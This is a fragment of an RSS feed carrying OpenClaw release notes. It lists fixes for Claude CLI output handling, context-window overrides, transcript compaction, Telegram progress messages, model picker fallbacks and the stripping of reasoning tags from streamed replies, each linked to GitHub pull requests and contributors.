<li>Codex media understanding: require approval-checked app-server image turns while explicitly declining tool, file, permission, and elicitation approval requests for the bounded image worker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328907702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71703" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71703/hovercard" href="https://github.com/openclaw/openclaw/pull/71703">#71703</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/Claude CLI: allow large live <code>stream-json</code> JSONL lines up to the existing per-turn raw limit, preventing large Telegram, WebChat, MCP, and image turns from aborting on the old stdout buffer cap. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329383401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71793" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71793/hovercard" href="https://github.com/openclaw/openclaw/issues/71793">#71793</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322675128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71080" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71080/hovercard" href="https://github.com/openclaw/openclaw/issues/71080">#71080</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318647707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70766" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70766/hovercard" href="https://github.com/openclaw/openclaw/issues/70766">#70766</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329830196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71897" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71897/hovercard" href="https://github.com/openclaw/openclaw/pull/71897">#71897</a>) Thanks @chacher86, @shivamgrover21, and @tpjordan.</li>
<li>Agents/Claude CLI: unwrap nested Claude result envelopes in CLI JSON output so delegated agent responses surface as final text instead of raw result JSON. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264813860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66819" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66819/hovercard" href="https://github.com/openclaw/openclaw/pull/66819">#66819</a>) Thanks @mraleko.</li>
<li>Agents/Claude CLI: apply the configured 1M context window override to eligible Claude CLI Opus and Sonnet models when <code>context1m</code> is enabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319842892" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70863/hovercard" href="https://github.com/openclaw/openclaw/pull/70863">#70863</a>) Thanks @bidadh.</li>
<li>Models/status: report fresh Claude CLI native auth instead of stale stored <code>anthropic:claude-cli</code> profile expiry when local credentials are current. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325517974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71256" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71256/hovercard" href="https://github.com/openclaw/openclaw/issues/71256">#71256</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326550173" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71332" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71332/hovercard" href="https://github.com/openclaw/openclaw/pull/71332">#71332</a>) Thanks @matthiasjanke and @neeravmakwana.</li>
<li>CLI backends: compact OpenClaw transcripts after over-budget CLI turns and reseed fresh CLI sessions from the compacted transcript instead of stale external resume state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285899710" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68329" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68329/hovercard" href="https://github.com/openclaw/openclaw/issues/68329">#68329</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329888680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71916" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71916/hovercard" href="https://github.com/openclaw/openclaw/pull/71916">#71916</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Telegram: keep default tool progress messages visible when answer preview streaming is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329509796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71825/hovercard" href="https://github.com/openclaw/openclaw/pull/71825">#71825</a>) Thanks @VACInc.</li>
<li>Configure/models: clear deselected model fallbacks when updating the model picker allowlist, including provider-scoped setup flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328198274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71596/hovercard" href="https://github.com/openclaw/openclaw/pull/71596">#71596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>Agents/streaming: strip namespaced <code>&lt;antml:thinking&gt;</code> reasoning tags from streamed assistant replies before user-visible text is emitted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294779031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69288/hovercard" href="https://github.com/openclaw/openclaw/pull/69288">#69288</a>) Thanks @xialonglee.</li>
</ul>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,22ms -->